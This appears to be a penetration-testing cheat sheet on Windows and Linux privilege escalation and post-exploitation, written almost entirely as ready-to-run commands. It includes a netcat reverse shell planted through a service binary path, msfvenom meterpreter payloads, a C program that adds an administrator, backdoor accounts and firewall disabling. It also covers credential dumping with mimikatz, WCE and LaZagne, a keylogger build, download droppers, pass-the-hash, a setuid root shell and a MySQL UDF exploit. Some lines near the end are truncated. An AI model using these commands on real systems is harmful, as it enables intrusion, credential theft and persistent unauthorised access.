systeminfo
hostname
# Who am I?
whoami
echo %username%
# What users/localgroups are on the machine?
net users
net localgroups
# More info about a specific user. Check if user has privileges.
net user user1
# View Domain Groups
net group /domain
# View Members of Domain Group
net group /domain <Group Name>
# Firewall
netsh firewall show state
netsh firewall show config
# Network
ipconfig /all
route print
arp -A
# How well patched is the system?
wmic qfe get Caption,Description,HotFixID,InstalledOn
Cleartext Passwords
Search for them
findstr /si password *.txt
findstr /si password *.xml
findstr /si password *.ini
#Find all those strings in config files.
dir /s *pass* == *cred* == *vnc* == *.config*
# Find all passwords in all files.
findstr /spin "password" *.*
findstr /spin "password" *.*
In Files
These are common files to find them in. They might be base64-encoded. So look out for that.
c:\sysprep.inf
c:\sysprep\sysprep.xml
c:\unattend.xml
%WINDIR%\Panther\Unattend\Unattended.xml
%WINDIR%\Panther\Unattended.xml
dir c:\*vnc.ini /s /b
dir c:\*ultravnc.ini /s /b
dir c:\ /s /b | findstr /si *vnc.ini
In Registry
# VNC
reg query "HKCU\Software\ORL\WinVNC3\Password"
# Windows autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
# SNMP Paramters
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"
# Putty
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
# Search for password in registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
Sometimes there are services that are only accessible from inside the network.
netstat -ano
Scheduled Tasks:
Here we are looking for tasks that are run by a privileged user, and run a binary that we can overwrite.
schtasks /query /fo LIST /v
cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
Change the upnp service binary:
sc config upnphost binpath= "C:\Inetpub\nc.exe 192.168.1.101 6666 -e c:\Windows\system32\cmd.exe"
sc config upnphost obj= ".\LocalSystem" password= ""
sc config upnphost depend= ""
Weak Service Permissions:
WMCI
wmic service list brief
Here is a POC code for getsuid.
#include <stdlib.h>
int main ()
{
int i;
i = system("net localgroup administrators theusername /add");
return 0;
}
We then compile it with mingw like this:
i686-w64-mingw32-gcc windows-exp.c -lws2_32 -o exp.exe
Restart the Service:
Okay, so now that we have a malicious binary in place we need to restart the service so that it gets executed.
We can do this by using wmic or net the following way:
wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name].
Migrate the meterpreter shell:
If your meterpreter session dies right after you get it you need migrate it to a more stable service.
A common service to migrate to is winlogon.exe since it is run by system and it is always run.
You can find the PID like this:
wmic process list brief | find "winlogon"
So when you get the shell you can either type migrate PID or automate this so that meterpreter automatically migrates.
http://chairofforgetfulness.blogspot.cl/2014/01/better-together-scexe-and.html
Unquoted Service Paths:
Find Services With Unquoted Paths
# Using WMIC
wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
# Using sc
sc query
sc qc service name
# Look for Binary_path_name and see if it is unquoted.Exploit It
If the path to the binary is:
c:\Program Files\something\winamp.exe
We can place a binary like this
c:\program.exe
When the program is restarted it will execute the binary program.exe, which we of course control.
We can do this in any directory that has a space in its name. Not only program files.
If the path contains a space and is not quoted, the service is vulnerable.
This attack is explained here: http://toshellandback.com/2015/11/24/ms-priv-esc/
There is also a metasploit module for this is: exploit/windows/local/trusted_service_path
Vulnerable Drivers
Some driver might be vulnerable.
I don't know how to check this in an efficient way.
# List all drivers
driverquery
AlwaysInstallElevated:
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
http://toshellandback.com/2015/11/24/ms-priv-esc/
Group Policy Preference:
If the machine belongs to a domain and your user has access to System Volume Information there might be some sensitive files there.
First we need to map/mount that drive. In order to do that we need to know the IP-address of the domain controller. We can just look in the environment-variables
# Output environment-variables
set
# Look for the following:
LOGONSERVER=\\NAMEOFSERVER
USERDNSDOMAIN=WHATEVER.LOCAL
# Look up ip-addres
nslookup nameofserver.whatever.local
# It will output something like this
Address: 192.168.1.101
# Now we mount it
net use z: \\192.168.1.101\SYSVOL
# And enter it
z:
# Now we search for the groups.xml file
dir Groups.xml /s
If we find the file with a password in it, we can decrypt it like this in Kali
gpp-decrypt encryptedpassword
Services\Services.xml: Element-Specific Attributes
ScheduledTasks\ScheduledTasks.xml: Task Inner Element, TaskV2 Inner Element, ImmediateTaskV2 Inner Element
Printers\Printers.xml: SharedPrinter Element
Drives\Drives.xml: Element-Specific Attributes
DataSources\DataSources.xml: Element-Specific Attributes
Escalate to SYSTEM from Administrator
On Windows XP and Older:
If you have a GUI with a user that is included in Administrators group you first need to open up cmd.exe for the administrator. If you open up the cmd that is in Accessories it will be opened up as a normal user. And if you rightclick and do Run as Administrator you might need to know the Administrators password. Which you might not know. So instead you open up the cmd from c:\windows\system32\cmd.exe. This will give you a cmd with Administrators rights.
From here we want to become SYSTEM user. To do this we run:
First we check what time it is on the local machine:
time
# Now we set the time we want the system CMD to start. Probably one minuter after the time.
at 01:23 /interactive cmd.exe
And then the cmd with SYSTEM privs pops up.
Vista and Newer
You first need to upload PsExec.exe and then you run:
psexec -i -s cmd.exe
Kitrap
On some machines the at 20:20 trick does not work. It never works on Windows 2003 for example. Instead you can use Kitrap. Upload both files and execute vdmaillowed.exe. I think it only works with GUI.
vdmallowed.exe
vdmexploit.dll
Using Metasploit
So if you have a metasploit meterpreter session going you can run getsystem.
Post modules
Some interesting metasploit post-modules
First you need to background the meterpreter shell and then you just run the post modules.
use exploit/windows/local/service_permissions
post/windows/gather/credentials/gpp
run post/windows/gather/credential_collector
run post/multi/recon/local_exploit_suggester
run post/windows/gather/enum_shares
run post/windows/gather/enum_snmp
run post/windows/gather/enum_applications
run post/windows/gather/enum_logged_on_users
run post/windows/gather/checkvm
Windows Privilege Escalation Methods
Method #1: Metasploit getsystem (From local admin to SYSTEM)
To escalate privileges from local administrator to SYSTEM user:
meterpreter> use priv
meterpreter> getsystem
getsystem uses three methods to achieve that, the first two using named pipe impersonation and the third one, using token duplication.
Method #2: Unquoted Service Paths
It happens when when a developer fails to enclose the file path to a service with quotes. File paths that are properly quoted are treated as absolute and therefore mitigate this vulnerability.
C:\Program Files\Some Folder\Config files\Service.exe
Windows would try to execute:
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Config.exe
C:\Program Files\Some Folder\Config files\Service.exe
So if we have write access on some target directory we can write a file on that directory:
icacls "C:\Program Files\Some Folder"
Search for: BUILTIN\Users: (OI) (CI) (M)
(M) stands for Modify for (unprivileged) users
For a full list of icacls output description:
icacls preserves the canonical order of ACE entries as:
Explicit denials
Explicit grants
Inherited denials
Inherited grants
Perm is a permission mask that can be specified in one of the following forms:
A sequence of simple rights:
F (full access)
M (modify access)
RX (read and execute access)
R (read-only access)
W (write-only access)
A comma-separated list in parenthesis of specific rights:
D (delete)
RC (read control)
WDAC (write DAC)
WO (write owner)
S (synchronize)
AS (access system security)
MA (maximum allowed)
GR (generic read)
GW (generic write)
GE (generic execute)
GA (generic all)
RD (read data/list directory)
WD (write data/add file)
AD (append data/add subdirectory)
REA (read extended attributes)
WEA (write extended attributes)
X (execute/traverse)
DC (delete child)
RA (read attributes)
WA (write attributes)
Inheritance rights may precede either Perm form, and they are applied only to directories:
(OI): object inherit
(CI): container inherit
(IO): inherit only
(NP): do not propagate inherit
(I): permission inherited from parent container
To know in which privileges is the service running (hopefully as SYSTEM):
wmic service get name,startname
Then we trojanize the service:
msfvenom -p windows/meterpreter/reverse_https -e x86/shikata_ga_nai LHOST=$IP LPORT=443 -f exe -o Config.exe
And copy it to the folder we can write in:
copy Config.exe C:\Program Files\Some Folder\
And sit and wait to the machine to be rebooted OR:
shutdown /r /t 0
From metasploit:
msf> use exploit/windows/local/trusted_service_path
To exploit it manually:
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
sc $SERVICENAME stop & sc $SERVICENAME start
Method #3: Tokens
Take advantage of:
SeImpersonatePrivilege
SeAssignPrimaryPrivilege
Reference: https://foxglovesecurity.com/2017/08/25/abusing-token-privileges-for-windows-local-privilege-escalation/
Method #4: Hard coded credentials
Commands:
dir /s *pass* == *cred* == *vnc* == *.config*
findstr /si password *.xml *.ini *.txt
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
Method #5: Sensitive files on Desktop, Documents (xls, txt, )
Take a look here as well Intro to Post Exploitation to find commands to search for sensitive files and information.
Method #6: DLL injection / hijacking
Trusted directories:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\KnownDLLs
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SessionManager\SafeDllSearchMode
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\CWDIllegalInDllSearch
Method #7: Unattended installation files (Unattend.xml)
Unattended installs that were not cleaned properly can be abused.
Mainly in those directories:
dir C:\Windows\Panther\
dir C:\Windows\Panther\Unattend\
dir C:\Windows\System32\
dir C:\Windows\System32\sysprep\
In addition to Unattend.xml files, be on the lookout for sysprep.xml and sysprep.inf
Using metasploit:
msf> use post/windows/gather/enum_unattend
Method #8: GPP cracking
These Group policy configuration files that could contain passwords (Groups.xml) are “encrypted” using a known AES key. And found in a shared folder inside the domain controller with read access to all domain authenticated users.
net use z: \\$IP\SYSVOL
SYSVOL is simply a folder which resides on each and every domain controller within the domain. It contains the domains public files that need to be accessed by clients and kept synchronised between domain controllers. The default location for the SYSVOL is C:\Windows\SYSVOL although it can be moved to another location during the promotion of a domain controller. It’s possible but not recommended to relocate the SYSVOL after DC promotion as there is potential for error. The SYSVOL folder can be accessed through its share \\domainname.com\sysvol or the local share name on the server \\servername\sysvol.
SYSVOL is the domain-wide share in Active Directory to which all authenticated users have read access.
By default there are two folders with a GUID name under ”C:\Windows\SYSVOL\domain\policies”, representing two group policies (GPO). In any new domain environment we always get two default GPO’s, Default Domain Policy and Domain Controllers Policy.
To update your GPOs:
gpupdate
To look your current assigned GPOs:
gpresult /R
dir /s Groups.xml
Other attack vector, more direct:
findstr /S /I cpassword \\$FQDN\sysvol\$FQDN\policies\*.xml
Once we get the hashed:
In Linux:
gpp-decrypt $AES_PASSWORD
In Windows, use PowerSploit function Get-GPPPassword:
Get-DecryptedCpassword $AES_PASSWORD
https://social.technet.microsoft.com/wiki/contents/articles/24160.active-directory-back-to-basics-sysvol.aspx
https://adsecurity.org/?p=2288
Method #9: Weak services and bad permissions
Use AccessChk from sysinternals
Which Services can be modified by any authenticated user (regardless of privilege level):
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
List service parameters:
accesschk.exe -ucqv $SERVICENAME
Find all weak folder permissions per drive:
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
Find all weak file permissions per drive:
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
Permissions on a specific folder:
accesschk.exe Builtin\Users c:\inetpub
Look at vulnerable service configuration parameters
sc qc $SERVICE
Locate interesting parameter, this is only an example
sc config $SERVICE binpath="net user alien alien /add"
sc stop $SERVICE
sc start $SERVICE
From metasploit (post module):
msf> use exploit/windows/local/service_permissions
Method #10: AlwaysInstallElevated ON
Allows any MSI executable be run as SYSTEM.
Manual method:
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Using Metasploit:
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o rotten.msi
msiexec /quiet /qn /i C:\Users\$USER\Downloads\rotten.msi
Another method with metasploit:
If the machine has the AlwaysInstallElevated registry flag on, then just:
msf> use exploit/windows/local/always_install_elevated
Method #11: Abusing scheduled tasks
schtasks /query /fo LIST /v
tasklist /SVC
Method #12: Local exploits
msf> use exploit/windows/local/*
Alternative methods of becoming SYSTEM https://blog.xpnsec.com/becoming-system/
Linux Privilege Escalation Methods
Most common techniques for privilege escalation in Linux environments:
Method #1: Find setuids
Sometimes in CTFs there are trojans hidden in the system with the setuid set. Look for any of those using find command:
find / -perm -4000 -ls 2> /dev/null
Method #2: Find world writable directories
find / -perm -777 -type d -ls 2> /dev/null
Method #3: Find world readable logs or backups
Many times Linux is very restrictive with the default permissions BUT sometimes sysadmins do not protect properly system backups, so you can easily extract sensitive system files such as /etc/passwd. Look for gz, tar o zip files is definitely worth it.
find / -name "*.[gz,tar,zip]" 2> /dev/null
Method #4: Check crontab tasks
Added scheduled tasks may contain some misconfigurations like for example, one script is run by root and it is writable for everybody
crontab -l
ls -lR /etc/cron*
Method #5: Local exploits for kernel or applications
As part of your local enumeration information gathering, look for kernel versions, applications installed, daemons running in order to detect any old version with known exploits.
Find setuid binaries:
find / -perm -4000 -ls 2> /dev/null
Find files world writable:
find / -path /sys -prune -o -path /proc -prune -o -type f -perm -o=w -ls 2> /dev/null
Find directories world writable:
find / -path /sys -prune -o -path /proc -prune -o -type d -perm -o=w -ls 2> /dev/null
Look for interesting files:
find / -name "*.txt" -ls 2> /dev/null
find / -name "*.log" -ls 2> /dev/null
Check sudo:
sudo su
sudo -l
Decrypt PKCS#12 objects:
openssl pkcs12 -info -in $FILE
Show certs in PKCS#7 file:
openssl pkcs7 -print_certs -inform DER -in $FILE
openssl smime -verify -in signed.p7 -inform pem
openssl smime -verify -in signed.p7 -inform der
Show keystore content:
keytool -list -v -keystore keystore.jks
Commands for information gathering:
ps -ef
mount
/sbin/ifconfig -a
route -n
cat /etc/crontab
ls -la /var/spool/cron*/
ls -la /etc/cron.d
cat /etc/exports
cat /etc/redhat* /etc/debian* /etc/*release
netstat -tanu
Find users with shell access:
egrep -e '/bin/(ba)?sh' /etc/passwd
Check bootup services:
ls /etc/rc*
SSH relationships and logins:
cat ~/.ssh/*
https://payatu.com/guide-linux-privilege-escalation/
Tools:
http://pentestmonkey.net/tools/audit/unix-privesc-check
https://github.com/sleventyeleven/Linuxprivchecker
https://github.com/rebootuser/LinEnum
Windows Post-exploitation
Check filesystem:
Like “ls -la” in Linux:
dir /A:H
dir /s /b C:\ | findstr /E ".txt" > txt.txt
dir /s /b C:\ | findstr /E ".log" > log.txt
dir /s /b C:\ | findstr /E ".doc" > doc.txt
dir /s /b C:\ | findstr /E ".xls" > xls.txt
dir /s /b C:\ | findstr /E ".xml" > xml.txt
Compute MD5 hash:
Get-FileHash -Algorithm MD5 -Path .\$FILE
Check registry:
reg query HKLM /f password /t REG_SZ /s > hklm_password.txt
reg query HKCU /f password /t REG_SZ /s > hkcu_password.txt
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated > reg_always.txt
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated >> reg_always.txt
Check scheduler:
schtasks /query /fo LIST /v > schtasks.txt
tasklist /SVC > tasklist.txt
Other checks:
DRIVERQUERY
wmic os where Primary='TRUE' reboot
List hotfixes:
wmic qfe
notepad myfile.txt:lion.txt
eventvwr.exe
quser > rdp.txt
netstat -an > netstat.txt
netsh firewall show config > firewall.txt
icacls service.exe
type C:\Windows\System32\drivers\etc\hosts
Wmic commands:
wmic service get name,displayname,pathname,startmode > wmic_service.txt
wmic /node:'' qfe GET description,FixComments,hotfixid,installedby,installedon,servicepackineffect
wmic /node:"" product get name,version,vendor
wmic process get Caption,CommandLine
wmic printer list status
wmic cpu get
List SIDs of the system (as admin):
wmic useraccount get name,sid,fullname
Net commands:
net view
net view \\host
net share
net use z: \\host\dir
net users
net user %username%
net config rdr
Backdoor account:
net user hax0r hax0r /add
net localgroup administrators hax0r /add
net localgroup "Remote Desktop users" hax0r /add
Check routing/network information:
route print
arp -A
ipconfig /all
getmac
Show files attributes / permissions
cacls cmd.exe
attrib cmd.exe
List services:
sc queryex type=service state=all
net start
Other info:
systeminfo
whoami
Idem for Win XP:
echo %USERNAME%
Firewall
netsh firewall show stat
netsh firewall show config
netsh advfirewall firewall add rule name="httptunnel_client" dir=in action=allow program="httptunnel_client.exe" enable=yes
netsh advfirewall firewall add rule name="3000" dir=in action=allow protocol=TCP localport=3000
netsh advfirewall firewall add rule name="1080" dir=in action=allow protocol=TCP localport=1080
netsh advfirewall firewall add rule name="1079" dir=in action=allow protocol=TCP localport=1079
Disable firewall:
netsh advfirewall set currentprofile state off
netsh advfirewall set allprofiles state off
RDP
Show RDP sessions:
quser
qwinsta
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0
netsh firewall set service type=remotedesktop mode=enable
net start termservice
net start "Terminal Services"
svchost.exe -k termsvcs
tasklist /svc /S servername/U username /P password
Change RDP daemon status from Meterpreter (more Meterpreter commands in Metasploit Meterpreter Cheat Sheet)
msf> reg queryval -k "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" -v TSEnabled
msf> reg setval -k "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" -v TSEnabled -d 1
Change RDP port:
\HKLM\System\CurrentControlSet\Control\Terminal Server\WinStationRDP-TCP Value : PortNUmber REG_DWORD=3389
Remote Execution commands:
wmis -U DOMAIN\$USER%$PASS //$DC cmd.exe /c $COMMAND
wmic /node:$IP /user:administrator /password:$PASSWORD bios get serialnumber
tasklist.exe /S $IP /U domain\username
tasklist.exe /S $IP /U domain\username /FI "USERNAME eq NT AUTHORITY\SYSTEM" /FI "STATUS eq running"
taskkill.exe /S $IP /U domain\username /F /FI "norton"
quser /SERVER:$IP
From sysinternals psexec:
psexec -accepteula \\$IP -u DOMAIN\USER cmd.exe
psexec \\$IP -s cmd /c copy \\server\share\file.ext c:\Temp
psexec -s \\$IP c:\windows\system32\cscript.exe script.vbs arg1
Copy a file to the target host AND execute it:
psexec -accepteula \\$IP -u DOMAIN\USER -c file.exe -w C:\temp
Authenticated WMI Exec via Powershell
msf > use exploit/windows/local/ps_wmi_exec
msf exploit(windows/local/ps_wmi_exec) > show options
Module options (exploit/windows/local/ps_wmi_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN no Domain or machine name
PASSWORD no Password to authenticate with
RHOSTS no Target address range or CIDR identifier
SESSION yes The session to run this module on.
USERNAME no Username to authenticate as
Exploit target:
Id Name
-- ----
0 Universal
msf exploit(windows/local/ps_wmi_exec) >
In the same host but with other role:
runas /user:administrator cmd
runas /noprofile /user:DOMAIN\administrator cmd
runas /profile /env /user:DOMAIN\$USER "%windir%\system32\script.bat"
Windows exploit suggester (OBSOLETE)
WARNING: As of March 14 2017 no longer supported (https://github.com/GDSSecurity/Windows-Exploit-Suggester/issues/28)
python windows-exploit-suggester.py --update
python windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo win7sp1-systeminfo.txt
Tools for information gathering
Manual method
dir %TMP% %USERPROFILE%\AppData\Roaming\Microsoft\Windows\Recent
dir %USERPROFILE%\Favorites
type C:\Windows\System32\drivers\etc\hosts
LaZagne
Download LaZagne from https://github.com/AlessandroZ/LaZagne
laZagne.exe all
laZagne.exe browsers
laZagne.exe browsers -firefox
RATs (Remote Administration Tools)
Pupy https://github.com/n1nj4sec/pupy: opensource, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool mainly written in python
Sniffers
Sniffers for Windows
Install Wireshark, also use in console dumpcap:
dumpcap -D
dumpcap -i $IFACE
Keyloggers for Windows
Windows keylogger (no admin rights):
https://raw.githubusercontent.com/GiacomoLaw/Keylogger/master/windows/klog_main.cpp
To cross-compile it for Windows:
i686-w64-mingw32-g++ klog_main.cpp -o klog -static
Network sniffers for Linux
tcpdump -X -s 0 -i $INTERFACE
Password dumping
mimikatz
mimikatz.exe
mimikatz> privilege::debug
mimikatz> sekurlsa::logonPasswords
mimikatz> sekurlsa::msv
Fgdump
Dumps hashes (needs SYSTEM privileges)
fgdump.exe
WCE (Windows Credential Editor)
Dumps clear passwords:
wce -w
Dumps hashes:
wce
Persistent, writes in credentials.txt:
wce -r
Change your credentials in memory:
wce -s
Droppers
Droppers are programs that allows you to download tools, trojans, etc to the target machine to follow the compromise locally.
Droppers using Linux
wget http://$IP/file
curl -k https://$IP/file > file
nc -nvv $IP 8080 > file
scp $FILE root@$IP:~
Droppers using Windows
Powershell
curl -Uri $URL
See also Powercat in the Powershell frameworks section.
ROBOCOPY
NET USE \\$IP\IPC$ /USER:DOMAIN\USER
ROBOCOPY \\$IP\DATA\ C:\DATA\ /NP /TEE /E /dcopy:T /Z
NET USE \\$IP\IPC$ /D
BITSAdmin
https://docs.microsoft.com/en-us/windows/desktop/Bits/bitsadmin-tool
Direct Transfer:
bitsadmin /transfer myDownloadJob /download /priority normal http://$IP/$FILE c:\$FILE
Using a download queue:
bitsadmin /create myDownloadJob
bitsadmin /addfile myDownloadJob http://$IP/$FILE c:\$FILE
Certutil
certutil.exe -urlcache -split -f "https://$IP/files/netcat.exe" nc.exe
Notepad
notepad.exe http://$IP/file.txt
Living Off the Land (LOLbins) for Windows
Links:
https://github.com/LOLBAS-Project/LOLBAS
https://lolbas-project.github.io/
https://gtfobins.github.io/
https://github.com/Arno0x/CSharpScripts
https://gist.github.com/jstangroome/9adaa87a845e5be906c8
https://gallery.technet.microsoft.com/PS2EXE-Convert-PowerShell-9e4e07f1
Examples:
hh.exe C:\windows\system32\calc.exe
C# compiler built-in command:
csc.exe
Droppers Using known protocols
HTTP
Python2
python -m SimpleHTTPServer
python -m SimpleHTTPServer 80
Python3
python3 -m http.server 8080
Php
php -S localhost:8000
Ruby
ruby -run -e httpd . -p 8000
FTP
pip install pyftpdlib
python -m pyftpdlib
SMB
impacket-smbserver PAYLOADS /root/payload
SharpUp.exe is part of the GhostPack suite of tools and is a C# port of PowerUp that will perform numerous privilege escalation checks.
The following command will run all priv esc checks and store the output in a file.
Command Reference:
Output File: output.txt
Command:
Copy
SharpUp.exe > output.txt
https://github.com/GhostPack/SharpUp
https://www.harmj0y.net/blog/redteaming/ghostpack/
winpeas.exe is a script that will search for all possible paths to escalate privileges on Windows hosts.
The below command will run all priv esc checks and store the output in a file.
Command Reference:
Run all checks: cmd
Output File: output.txt
Command:
Copy
winpeas.exe cmd > output.txt
Windows
privesccheck
winenum
winpeas
Enumerating all the access tokens on the victim system with PowerSploit:
Invoke-TokenManipulation -ShowAll | ft -Wrap -Property domain,username,tokentype,logontype,processid
Running the compiled code invokes a new process with the newly stolen token:
One of the techniques of token manipulation is creating a new process with a token "stolen" from another process. This is when a token of an already existing access token present in one of the running processes on the victim host, is retrieved, duplicated and then used for creating a new process, making the new process assume the privileges of that stolen token. A high level process of the token stealing that will be carried out in this lab is as follows:
Step Win32 API
Open a process with access token you want to steal OpenProcess
Get a handle to the access token of that process OpenProcesToken
Make a duplicate of the access token present in that process DuplicateTokenEx
Create a new process with the newly aquired access token CreateProcessWithTokenW
DLL Hijacking
DLL Search Order Hijacking for privilege escalation, code execution, etc.
Generating a DLL that will be loaded and executed by a vulnerable program which connect back to the attacking system with a meterpreter shell:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=443 -f dll > evil-meterpreter64.dll
Pass The Hash: Privilege Escalation with Invoke-WMIExec
If you have an NTLMv2 hash of a local administrator on a box ws01, it's possible to pass that hash and execute code with privileges of that local administrator account:
Invoke-WmiExec -target ws01 -hash 32ed87bd5fdc5e9cba88547376818d4 -username administrator -command hostname
If the target system you are passing the hash to, has the following registry key/value/data set to 0x1, pass the hash will work even for accounts that are not RID 500:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy
Invoke-WmiExec -target ws01 -hash 32ed87bd5fdc5e9cba88547376818d4 -username spotless -command hostname
#enumerate the users
#rid brute forcing
cme smb $ip -u "" -p "" --rid-brute
#active sessions
cme smb $ip -u '' -p '' --loggedon-users
#users in general
cme smb $ip -u '' -p '' --users
#enumerate the groups
#local groups
cme smb $ip -u '' -p '' --local-groups
#domain groups
cme smb $ip -u '' -p '' --groups
#smbclient
smbclient -L $ip
smbclient //$ip/tmp
smbclient \\\\192.168.1.105\\ipc$ -U john
smbclient //$ip/ipc$ -U john
#mounting the share
mkdir /mnt/targetshare
mount -t cifs \\172.16.20.88\ipc$ -o username=[username] /mnt/targetshare
nmap
nmap -sU -p 69 --script tftp-enum.nse $ip
Interact with TFTP protocol:
#setup the connection
tftp 172.16.200.100
#get a file
tftp> get /etc/passwd
#upload reverse shell
tftp> put shell.php
enumerate information with known community string
# enumerate windows users
snmpwalk -c public -v1 192.168.11.204 1.3.6.1.4.1.77.1.2.25
# enumerates running processes
snmpwalk -c public -v1 192.168.11.204 1.3.6.1.2.1.25.4.2.1.
Linux Privilege Escalation
OS & User Enumeration :
############################### User Enumeration ##########################
whoami
id
sudo -l
cat /etc/passwd
ls -la /etc/shadow
################################# OS Enumeration ##########################
cat /etc/issue
cat /etc/*-release
cat /proc/version
uname -a
arch
ldd --version
################################# Installed tools #########################
which awk perl python ruby gcc cc vi vim nmap find netcat nc wget tftp ftp
############################ File owners and permissions ##################
ls -la
find . -ls
history
cat ~/.bash_history
find / -type f -user <username> -readable 2> /dev/null # Readable files for
find / -writable -type d 2>/dev/null # Writable files by the user
find /usr/local/ -type d -writable
################################## File mount #############################
/mnt /media -> usb devices and other mounted disks
mount -> show all the mounted drives
df -h -> list all partitions
cat /etc/fstab # list all drives mounted at boot time
/bin/lsblk
#################################### Applications #########################
dpkg -l # for Debian based systems
##################################### Cron tabs ###########################
ls -lah /etc/cron*
cat /etc/crontab
ls -la /var/log/cron* # Locating cron logs
find / -name cronlog 2>/dev/null
grep "CRON" /var/log/cron.log # for locating running jobs from logs
grep CRON /var/log/syslog # grepping cron from syslog
#################################### Internal Ports #######################
Netstat -alnp | grep LIST | grep port_num
Netstat -antp
netstat -tulnp
curl the listening ports
################################### Interesting DIRS ######################
/dev/scripts
/opt
/mnt
/var/www/html
/var
/etc
/media
/backup
################################### SUID Binaries #########################
(https://www.hackingarticles.in/linux-privilege-escalation-using-suid-binar
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/
find / -perm -u=s -type f 2>/dev/null
find / -perm -4000 -user root 2>/dev/null
ldd /usr/bin/binary-name
strace /usr/local/bin/fishybinary 2>&1 | grep -iE "open|access|no such file
################################# Firewall Enumeration ####################
grep -Hs iptables /etc/*
############################### Kernal Modules ############################
lsmod
/sbin/modinfo <mod name>
PrivEsc Checklist :
sudo rights (https://medium.com/schkn/linux-privilege-escalation-using-text-editors- and-files-part-1-a8373396708d)
sensitive files & permission misconfiguration (SSH keys, shadow files)
SUID Binaries
Internal Ports
Processes running with root privilege
Cron tabs
Hidden cron process with pspy
Mounted filesystems
TMUX session hijacking
Path Hijacking
Process Injection (https://github.com/nongiach/sudo_inject)
Docker PS
Interesting groups (https://book.hacktricks.xyz/linux-unix/privilege- escalation/interesting-groups-linux-pe)
Wheel
Shadow
Disk
Video
Root
Docker
lxd - (https://www.hackingarticles.in/lxd-privilege-escalation/)
Environment variables
bash version < 4.2-048 | 4.4 (https://tryhackme.com/room/linuxprivesc Task 14, 15)
NFS Misconfiguration
linpeas.sh -a //all checks
SUID Shared Object Injection :
Find a SUID binary that looks fishy
strace /usr/local/bin/fishybinary 2>&1 | grep -iE "open|access|no such file"
Match the shared object that sits in a path where you have write access
create a shared object in the missing SO file name
run the SUID binary
NFS Misconfiguration :
https://tryhackme.com/room/linuxprivesc (Task 19)
cat /etc/exports
On Kali
mkdir /tmp/nfs
mount -o rw,vers=2 10.10.10.10:/tmp /tmp/nfs
msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o
/tmp/nfs/shell.elf
chmod +xs /tmp/nfs/shell.elf
On Target
/tmp/shell.elf
Kernel Exploits
cat /proc/version
uname -r
uname -mrs
cat /etc/lsb-release
cat /etc/os-release
gcc exploit.c -o exp
Compile exploit in local machine and upload to remote machine
gcc -m32 -Wl,--hash-style=both 9542.c -o 9542
apt-get install gcc-multilib
Recover Deleted Files :
extundelete (HTB mirai - https://tiagotavares.io/2017/11/mirai-hack-the-box-retired/)
strings
C Program to SetUID /bin/bash :
gcc -Wall suid.c -o exploit
sudo chown root exploit
sudo chmod u+s exploit
$ ls -l exploit -rwsr-xr-x 1 root users 6894 11 sept. 22:05 exploit
#include <unistd.h>
int main()
{
setuid(0);
execl("/bin/bash", "bash", (char *)NULL);
return 0;
}
./exploit
# whoami
root
Tools :
Linux Exploit Suggester (HTB Nibbles) (https://github.com/mzet-/linux-exploit- suggester)
SUIDENUM (https://github.com/Anon-Exploiter/SUID3NUM)
LinEnum.sh (https://github.com/rebootuser/LinEnum)
linpeas.sh (https://github.com/carlospolop/privilege-escalation-awesome-scripts- suite/tree/master/linPEAS)
Linprivchecker (https://github.com/sleventyeleven/linuxprivchecker)
pspy (https://github.com/DominicBreuker/pspy) (crontabs)
Resources :
https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_-_linux.html
https://github.com/Ignitetechnologies/Privilege-Escalation
https://gtfobins.github.io/
https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
Mysql
MYSQL UDF Exploit: https://www.exploit-db.com/exploits/1518 gcc -g -c raptor_udf2.c -fPIC 1
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -
mysql -u root 45
use mysql;
create table foo(line blob);
insert into foo values(load_file('/home/raptor_udf2.so'));
